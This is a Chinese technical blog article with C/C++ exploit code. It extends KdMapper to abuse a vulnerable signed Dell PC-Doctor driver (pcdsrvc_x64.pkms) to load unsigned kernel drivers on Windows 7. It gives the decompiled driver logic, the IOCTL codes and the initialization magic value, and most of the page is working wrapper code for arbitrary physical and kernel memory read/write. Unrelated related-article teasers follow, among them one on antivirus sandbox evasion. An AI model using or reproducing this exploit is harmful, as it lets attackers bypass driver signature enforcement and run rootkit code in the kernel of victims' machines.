KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | pcdsrvc_x64.pkms |
时间戳 | 5B0478B6 |
MD5 | C5632596C83FFB4C704AFA2A7504A335 |
文件版本 | 6.2.3.0 |
设备名称 | 和驱动服务同名 |
初始化驱动 | 0x222004 |
获取物理地址 | 0x222080 |
读物理内存 | 0x222084 |
写物理内存 | 0x222088 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);if (!DestinationString.Buffer)return 0xC000009A;DestinationString.MaximumLength = RegistryPath->Length + 2;RtlCopyUnicodeString(&DestinationString, RegistryPath);DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;return CreateDevice(DriverObject);
}
可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{NTSTATUS result; // eaxint v3; // ediunsigned int v4; // eax__int64 v5; // rcxint v6; // esi_UNICODE_STRING* v7; // rdiWCHAR* v8; // raxstruct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREFUNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREFstruct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREFUNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREFUNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF_UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");RtlInitUnicodeString(&Source, L"\\DosDevices\\");Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);if (!Destination.Buffer)return 0xC000009A;Destination.Length = 0;Destination.MaximumLength = 538;RtlAppendUnicodeStringToString(&Destination, &Source);v3 = -1;v4 = ::DestinationString.Length >> 1;v5 = v4;while (::DestinationString.Buffer[v5] != 92){--v4;if (--v5 < 0)goto LABEL_8;}v3 = v4;
LABEL_8:if (v3 == -1)return 0xC0000001;RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");v10.Buffer = &::DestinationString.Buffer[v3 + 1];v10.Length = ::DestinationString.Length - 2 * (v3 + 1);v10.MaximumLength = v10.Length - 1;RtlAppendUnicodeStringToString(&Destination, &v10);result = WdmlibIoCreateDeviceSecure(DriverObject,0x28u,&Destination,0x22u,0x100u,0,&DefaultSDDLString,0i64,&DeviceObject);v6 = result;if (result >= 0){RtlFreeUnicodeString(&Destination);v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;v7 = v15;*(_QWORD*)&v15->Length = DeviceObject;v7->Buffer = (PWSTR)DriverObject;v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);v7[1].Buffer = v8;if (v8){v7[1].MaximumLength = DestinationString.MaximumLength;RtlCopyUnicodeString(v7 + 1, &DestinationString);}else{v6 = 0xC000009A;}if (v6 < 0){if (v7[1].Buffer)RtlFreeUnicodeString(v7 + 1);IoDeleteDevice(DeviceObject);}result = v6;}return result;
}
从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // r9unsigned int nBytesReturn; // edxULONG nIoControlCode; // ecxunsigned int ntStatus; // ebxDWORD* dwInitailizeCode; // raxpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;if (nIoControlCode != 0x222004 && !bInitialized){ntStatus = 0xC0000022;pIrp->IoStatus.Information = 0i64;LABEL_18:LOBYTE(nBytesReturn) = 0;goto LABEL_36;}if (nIoControlCode - 0x222000 <= 0x7C){ntStatus = 0;if (nIoControlCode == 0x222000){if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4){*(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;LABEL_16:nBytesReturn = 4;goto LABEL_17;}}else{if (nIoControlCode != 0x222004){ntStatus = 0xC0000010;LABEL_17:pIrp->IoStatus.Information = nBytesReturn;goto LABEL_18;}if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4&& pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动{dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;if (*dwInitailizeCode == 0xA1B2C3D4){bInitialized = 1;*dwInitailizeCode = 0;}else{*dwInitailizeCode = 1;}goto LABEL_16;}}ntStatus = 0xC000000D;goto LABEL_17;}if (nIoControlCode - 0x222080 <= 0x7C)return MemoryOperation(pIrp);if (nIoControlCode - 0x222100 <= 0x7C)return sub_112C8(pIrp);if (nIoControlCode - 0x222180 <= 0x7C)return sub_13A44(pIrp);if (nIoControlCode - 0x222300 <= 0x7C)return sub_13B94(pIrp);if (nIoControlCode - 0x222380 <= 0x7C)return sub_11008(pIrp);if (nIoControlCode - 0x222680 <= 0x7C)return sub_11878(pIrp);if (nIoControlCode - 0x222700 <= 0x7C)return sub_121C4(pIrp);if (nIoControlCode - 0x222600 <= 0x7C)return sub_13D5C(pIrp);ntStatus = 0xC0000010;pIrp->IoStatus.Information = 0i64;
LABEL_36:pIrp->IoStatus.Status = ntStatus;IofCompleteRequest(pIrp, nBytesReturn);return ntStatus;
}
从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。
关于内存的操作是在 MemoryOperation 函数中。
3.4 MemoryOperation
__int64 __fastcall MemoryOperation(PIRP pIrp)
{_IO_STACK_LOCATION* pIosp; // raxULONG_PTR nBytesReturn; // rdiunsigned int nInputBufferLength; // ecxULONG nOutputBufferLength; // er8int nControlCode; // edxint nControlCodeV7; // edxunsigned int ntStatus; // ebxPC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbpSIZE_T nMapSize; // rdxPVOID pAddressMapped; // r12unsigned int ntStatusV12; // eaxPHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREFpIosp = pIrp->Tail.Overlay.CurrentStackLocation;nBytesReturn = 0i64;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;nBytesMapped.QuadPart = 0i64;if (!nControlCode) // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址{if (nInputBufferLength != 8 || nOutputBufferLength != 8)goto LABEL_18;ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);goto LABEL_17;}nControlCodeV7 = nControlCode - 4;if (!nControlCodeV7) // 0x222084 读取物理内存{if (nInputBufferLength < 0xD)goto LABEL_18;ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);LABEL_17:nBytesReturn = nBytesMapped.QuadPart;ntStatus = ntStatusV12;goto LABEL_19;}if (nControlCodeV7 != 4){ntStatus = 0xC0000010;goto LABEL_19;}if (nInputBufferLength < 0xD) // 0x222088 写入物理内存{LABEL_18:ntStatus = 0xC000000D;goto LABEL_19;}pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nMapSize = pInfo->Length;nBytesMapped = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);if (pAddressMapped){if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))nBytesReturn = pInfo->Length;elsentStatus = 0xC000000D;MmUnmapIoSpace(pAddressMapped, pInfo->Length);}else{ntStatus = 0xC0000001;}
LABEL_19:pIrp->IoStatus.Status = ntStatus;pIrp->IoStatus.Information = nBytesReturn;IofCompleteRequest(pIrp, 0);return ntStatus;
}
第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。
第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。
第 45 行到 67 行为写入物理内存,请求码为 0x222088。
3.5 GetPhysicalMemory
__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{void* pAddressToMap; // rdi_MDL* pMdl; // rax_MDL* pMdl2; // rbxpAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);pMdl2 = pMdl;if (!pMdl)return 0xC0000001i64;MmProbeAndLockPages(pMdl, 1, IoReadAccess);*(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);MmUnlockPages(pMdl2);IoFreeMdl(pMdl2);*nBytesMapped = 8i64;return 0i64;
}
虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。
3.6 读物理内存
__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8unsigned int ntStatus; // ebxPVOID pAddressMapped; // rbpunsigned int nSize; // [rsp+38h] [rbp-20h]char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREFpInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;ntStatus = 0;nSize = pInfo->Length;nCopyAlign = pInfo->CopyAlign;pPhsicalAdressVar = pInfo->PhysicalAddress;pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);if (!pAddressMapped)return 0xC0000001i64;if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign)){*nBytesMapped = nSize;}else{*nBytesMapped = 0i64;ntStatus = 0xC000000D;}MmUnmapIoSpace(pAddressMapped, nSize);return ntStatus;
}
3.7 CopyMemory
char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{unsigned __int16 v5; // r10unsigned int v7; // eax__int64 v8; // rdxv5 = 0;if (!nCopyAlign){memmove(Destination, Source, nSize);return 1;}if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64)){v7 = nSize / 4;if (!(nSize % 4)){if (v7){do{v8 = v5++;*((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);} while (v5 < v7);}return 1;}}return 0;
}
在使用时只需要将第 5 个参数传 0 即实现 memmove。
3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构
00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length dd ?
0000000C CopyAlign db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends
3.9 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4.相关逻辑说明
4.1 设备名称相关
4.1.1 原逻辑代码
HANDLE dell_driver::Load()
{......memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));static const char alphanum[] ="abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ";int len = rand() % 20 + 10;for (int i = 0; i < len; ++i)dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];......HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.1.2 修改后逻辑代码
参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:
HANDLE dell_driver::Load()
{......std::wstring strDeviceName;strDeviceName.append(L"\\\\.\\");strDeviceName.append(GetDriverNameW());HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (!result || result == INVALID_HANDLE_VALUE){Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
4.2 初始化驱动
参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE (0xA1B2C3D4)bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}HANDLE dell_driver::Load()
{......ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");if (ntoskrnlAddr == 0) {Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}if (!dell_driver::InitializeDriver(result)){Log(L"[-] Failed to Initialize Driver" << std::endl);dell_driver::Unload(result);return INVALID_HANDLE_VALUE;}......
}
5. 代码实现
5.1 .h文件
#pragma pack(push, 1)typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO{PHYSICAL_ADDRESS PhysicalAddress;DWORD Length;BYTE CopyAlign;}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY \CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088#define INITIALIZE_CODE (0xA1B2C3D4)
5.2 .c文件
NTSTATUS dell_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL dell_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };PBYTE pWriteData = NULL;SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;__try {if (DoWrite) {pWriteData = (PBYTE)malloc(nBufferSize);if (pWriteData){RtlZeroMemory(pWriteData, nBufferSize);info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle,IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,pWriteData,(ULONG)nBufferSize,NULL,0);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");}}else{info.PhysicalAddress.QuadPart = PhysicalAddress;info.Length = NumberOfBytes;info.CopyAlign = 0;bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);}if (pWriteData){free(pWriteData);}SetLastError(dwError);return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI dell_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}bool dell_driver::InitializeDriver(HANDLE device_handle)
{DWORD dwInitializeCode = INITIALIZE_CODE;return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
6. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
7.特别提示
使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
相关文章:
KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称pcds…...
python和go相互调用的两种方法
前言 Python 和 Go 语言是两种不同的编程语言,它们分别有自己的优势和适用场景。在一些项目中,由于团队内已有的技术栈或者某一部分业务的需求,可能需要 Python 和 Go 相互调用,以此来提升效率和性能。 性能优势 Go 通常比 Python 更高效&…...
c# 分部视图笔记
Html.Partial("**", 1) public ActionResult **(int page) { ViewBag.page page; return PartialView("**"); }...
Vue3最佳实践 第七章 TypeScript 中
Vue组件中TypeScript 在Vue组件中,我们可以使用TypeScript进行各种类型的设置,包括props、Reactive和ref等。下面,让我们详细地探讨一下这些设置。 设置描述设置props在Vue中,props本身就具有类型设定的功能。但如果你希望使用Ty…...
(三)行为模式:8、状态模式(State Pattern)(C++示例)
目录 1、状态模式(State Pattern)含义 2、状态模式的UML图学习 3、状态模式的应用场景 4、状态模式的优缺点 (1)优点 (2)缺点 5、C实现状态模式的实例 1、状态模式(State Pattern&#x…...
nginx的配置文件概述及简单demo(二)
默认配置文件 当安装完nginx后,它的目录下通常有默认的配置文件 #user nobody; worker_processes 1;#error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info;#pid logs/nginx.pid;events {worker_connection…...
Apollo Planning2.0决策规划算法代码详细解析 (2): vscode gdb单步调试环境搭建
前言: apollo planning2.0 在新版本中在降低学习和二次开发成本上进行了一些重要的优化,重要的优化有接口优化、task插件化、配置参数改造等。 GNU symbolic debugger,简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端…...
flex 布局:元素/文字靠右
前言 略 使用flex的justify-content属性控制元素的摆放位置 靠右 <view class"more">展开更多<text class"iconfont20231007 icon-zhankai"></text></view>.more {display: flex;flex-direction: row;color: #636363;justify-co…...
java基础-第1章-走进java世界
一、计算机基础知识 常用的DOS命令 二、计算机语言介绍 三、Java语言概述 四、Java环境的搭建 JDK安装图解 环境变量的配置 配置环境变量意义 配置环境变量步骤 五、第一个Java程序 编写Java源程序 编译Java源文件 运行Java程序 六、Java语言运行机制 核心机制—Java虚拟机 核…...
jvm 堆内存 栈内存 大小设置
4种方式配置不同作用域的jvm的堆栈内存。 1、Eclise 中设置jvm内存: 改动eclipse的配置文件,对全部project都起作用 改动eclipse根文件夹下的eclipse.ini文件 -vmargs //虚拟机设置 -Xms40m //初始内存 -Xmx256m //最大内存 -Xmn16m //最小内存 -XX:PermSize=128M //非堆内…...
免杀对抗-反沙盒+反调试
反VT-沙盒检测-Go&Python 介绍: 近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检率。 其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说…...
QTimer类的使用方法
本文介绍QTimer类的使用方法。 1.单次触发 在某些情况下,定时器只运行一次,可使用单次触发方式。 QTimer *timer new QTimer(this); connect(timer, &QTimer::timeout, this, &MainWindow::timeout); timer->setSingleShot(true); timer-…...
(三)行为模式:9、空对象模式(Null Object Pattern)(C++示例)
目录 1、空对象模式(Null Object Pattern)含义 2、空对象模式的主要涉及以下几个角色 3、空对象模式的应用场景 4、空对象模式的优缺点 (1)优点 (2)缺点 5、C实现空对象模式的实例 1、空对象模式&am…...
Django实战项目-学习任务系统-用户登录
第一步:先创建一个Django应用程序框架代码 1,先创建一个Django项目 django-admin startproject mysite将创建一个目录,其布局如下:mysite/manage.pymysite/__init__.pysettings.pyurls.pyasgi.pywsgi.py 2,再创建一个…...
【动手学深度学习-Pytorch版】Transformer代码总结
本文是纯纯的撸代码讲解,没有任何Transformer的基础内容~ 是从0榨干Transformer代码系列,借用的是李沐老师上课时讲解的代码。 本文是根据每个模块的实现过程来进行讲解的。如果您想获取关于Transformer具体的实现细节(不含代码)可…...
做外贸独立站选Shopify还是WordPress?
现在确实会有很多新人想做独立站,毕竟跨境电商平台内卷严重,平台规则限制不断升级,脱离平台“绑架”布局独立站,才能获得更多流量、订单、塑造品牌价值。然而,在选择建立外贸独立站的过程中,选择适合的建站…...
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{}才起作用,如果在series里写的不起作用就写到全局里
echarts的bug,在series里写tooltip,不起作用,要在全局先写tooltip:{show:true}才起作用,如果在series里写的不起作用就写到全局里 series里写tooltip不起作用,鼠标悬浮在echarts图表上时不显示提示 你需要…...
jmeter分布式压测
一、什么是压力测试? 压力测试(Stress Test),也称为强度测试、负载测试,属于性能测试的范畴。 压力测试是模拟实际应用的软硬件环境及用户使用过程的系统负荷,长时间或超大负荷地运行被测软件系统ÿ…...
consulmanage部署
一、部署consul 使用yum方式部署consul yum install -y yum-utils yum-config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo yum -y install consul 执行以下命令获取uuid密钥并记录下来 uuidgen 编辑consul配置文件 vi /etc/consul.d/consul.h…...
大数据软件项目的验收流程
大数据软件项目的验收流程是确保项目交付符合预期需求和质量标准的关键步骤。以下是一般的大数据软件项目验收流程,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 1.项目验收计划制定: 在…...
《第一行代码Andorid》阅读笔记-第一章
这篇文章是我自己的《第一行代码Andorid》的阅读笔记,虽然大量参考了别人已经写好的一些笔记和代码但是也有自己的提炼和新的问题在里面,我也会放上参考文章链接。 学习重点 Android系统的四大组件: (1)活动ÿ…...
Educational Codeforces Round 146 (Rated for Div. 2)(VP)
写个题解 A. Coins void solve(){ll n, k; cin >> n >> k;bl ok true;if (n &1 && k %2 0) ok false;print(ok ? yes : no); } B. Long Legs void solve(){db x, y; cin >> x >> y;if (x < y) swap(x, y);int t1 ceil(sqrt(x))…...
9.30国庆
消息队列完成进程间通信 #include <myhead.h>#define size sizeof(msg_ds)-sizeof(long) //正文大小//消息结构体 typedef struct {long msgtype; //消息类型char data[1024]; //消息正文 }msg_ds;//创建子线程构造体 void *task1(void *arg) {//创造第二个key值ke…...
java基础-第4章-面向对象(二)
一、static关键字 静态(static)可以修饰属性和方法。 称为静态属性(类属性)、静态方法(类方法)。 静态成员是全类所有对象共享的成员。 在全类中只有一份,不因创建多个对象而产生多份。 不必创…...
flex加 grid 布局笔记
<style> .flex-container { display: flex; height: 100%; /* 设置容器的高度 */ } .wide { display: flex; padding: 10px; border: 1px solid lightgray; text-align: center; justify-content: …...
最高评级!华为云CodeArts Board获信通院软件研发效能度量平台先进级认证
